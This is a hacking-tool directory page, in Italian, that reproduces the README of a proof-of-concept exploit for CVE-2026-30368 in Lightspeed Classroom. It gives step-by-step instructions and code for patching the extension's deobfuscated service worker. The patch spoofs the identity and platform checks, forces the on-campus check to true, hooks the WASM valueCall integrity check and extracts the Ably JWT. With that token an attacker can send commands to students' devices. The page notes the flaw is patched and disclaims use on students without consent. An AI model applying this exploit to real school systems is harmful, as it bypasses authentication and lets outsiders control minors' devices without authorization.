Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/truekas/ls-poc
RicognizioneExploitSfruttamento di Applicazioni WebCommand and ControlStrumento di Accesso RemotoSviluppo Payload
GitHubtruekas/ls-poc

ls-poc

Proof-of-concept exploit per CVE-2026-30368, che dimostra il bypass dell'autenticazione in Lightspeed Classroom per controllare i dispositivi degli studenti tramite il canale Ably.

Vedi Repository
1215112 giorni faNon ancora revisionato
Condividi

CVE-2026-30368 Proof of concept

[!IMPORTANT]

Questo è stato corretto e ora richiede credenziali, usa il workaround per eseguire azioni su te stesso.

Introduzione

CVE-2026-30368 consente a un attaccante di controllare i dispositivi degli studenti tramite una vulnerabilità di autenticazione debole nella gestione di Lightspeed Classroom. Il POC (poc.js) esegue il service worker dall'estensione LS Classroom in contesto globale. Il worker esegue anche classroom.wasm per alcune funzioni. wasm-loader.js carica il worker ed estrae il token JWT generato da classroom.wasm. Una volta estratto, termina il worker, quindi invia il token alle API di Lightspeed per ricevere un token utilizzato per connettersi al canale Ably del target. Da lì, un attaccante potrebbe inviare un comando a un dispositivo studente. L'elenco dei comandi e molte altre informazioni sono nel writeup completo disponibile qui.

[!IMPORTANT]

IMPORTANTE: A causa di sviluppi recenti, non sono più necessari file dell'estensione per l'exploit. Il resto del README può essere ignorato. È sufficiente compilare i valori in oauth-poc.js e seguire le istruzioni per il debug remoto di Chrome. Il README sarà conservato per ragioni storiche.

Per evitare problemi, consiglio di usare la versione 5.1.2.1763770643. Se hai bisogno di aiuto per adattare versioni più recenti, te la cavi da solo.
Puoi ottenere i file worker.js e classroom.wasm dal codice sorgente dell'estensione Lightspeed. Questo può essere ottenuto effettuando l'accesso con il tuo account scolastico su Chrome su un dispositivo personale, quindi estraendo il codice sorgente dell'estensione dalla cartella delle estensioni situata nella directory del tuo profilo Chrome. Puoi anche scaricare manualmente il crx tramite l'URL di aggiornamento.

METODO CONSIGLIATO

Il metodo più semplice di questo exploit consiste nell'ottenere prima classroom.wasm dal codice sorgente della tua estensione, quindi incollarlo nella stessa directory di wasm-only.js ed eseguire:

$ node wasm-only.js

Inserisci un'email e un customer ID quando richiesto. Questo si collegherà al canale ably. Vai alla riga 815 e decommenta ciò che vuoi inviare come messaggi. Credito: ktibow su discord

Configurazione del wasm loader

Una volta ottenuti i file, aggiungili semplicemente alla directory del repository clonato. Dovrai aprire wasm-loader.js nella funzione getManifest() e incollare lì il manifest della tua estensione. Dovrai anche aggiungere l'ID dell'estensione a wasm-loader.js in cima.

Crea una copia di worker.js con un nome file a tua scelta. Ti servirà in seguito. Dovrai eseguire worker.js tramite webcrack per deoffuscare e deminificarlo al fine di effettuare le modifiche necessarie. Quando lo fai, assicurati di selezionare solo le opzioni "Deobfuscate" e "Unminify". Prima di incollare il risultato nel tuo editor, si consiglia di disattivare tutti i server LSP perché rimuoveranno variabili casuali e faranno rompere il worker nelle fasi successive (sto parlando di te, vtsls...)

Patchare il Worker

Poiché il service worker verrà eseguito su node.js (assicurati di averlo installato), avrà bisogno di alcune patch per funzionare correttamente. Va anche aggiunta la logica di estrazione del JWT. Aggiungi le seguenti 2 funzioni all'inizio di worker.js:

function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/master/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

Questi verranno utilizzati quando modifichiamo il runtime wasm di Go per intercettare e modificare i valori usati dal wasm della classe LS. Assicurati di sostituire YOUR_EXTENSION_ID con il tuo ID estensione e worker_copy.js con il nome del file della copia di worker.js originale che hai creato in precedenza. Successivamente aggiungi queste 2 funzioni all'interno della funzione arrow principale (dopo (() => {)

chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

Successivamente devi impostare IsClassroomActive a true in modo che tu possa eseguirlo al di fuori delle reti del campus. Basta modificare la funzione in modo che restituisca sempre true:

_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

Poi, cerca syscall/js.valueCall per trovare la funzione valueCall che deve essere modificata. È questa che informa il wasm di un valore JS. I 2 valori che vengono intercettati e modificati modificando questa funzione sono il percorso di worker.js (viene cambiato con la copia del tuo worker in modo che il controllo dell'hash passi) e il valore di chrome.identity.getProfileUserInfo.toString viene cambiato in native code in modo che il WASM creda che sia affidabile quando in realtà è stato modificato all'inizio del file. Per fare ciò, devi usare le funzioni valueCallBefore e valueCallAfter che abbiamo definito all'inizio. Modifica la funzione valueCall in questo modo (i nomi delle variabili varieranno, ma la struttura è la stessa):

"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

Quasi fatto. Infine, devi aggiungere del codice per catturare il JWT. Cerca echoMessages: false e troverai la variabile contenente l'elenco degli header inviati ad Ably. Subito sotto, aggiungi questa riga (i nomi delle variabili molto probabilmente non saranno accurati, puoi trovare la stessa riga che accede a ablyJwt in authHeaders):

globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

Questo assegna il JWT a una variabile nello scope globale in modo che wasm-loader.js (l'"harness" che esegue il service worker) possa accedervi. Questo conclude la modifica del worker. Assicurati che tutti i tuoi LSP siano ancora disattivati. Se si riattivano, potresti riscontrare problemi con variabili non definite in seguito.

Preparazione finale

Spostati nel file poc.js. In cima, aggiungi l'email e il Customer ID di un account su cui desideri eseguire il test (preferibilmente il tuo). Utilizzare un customer ID diverso dal tuo genererà un errore poiché devi avere i file worker.js e classroom.wasm corretti corrispondenti a quel customer ID.

Non approvo l'uso di questo su studenti reali senza il loro consenso!!! 🙂

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    282

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →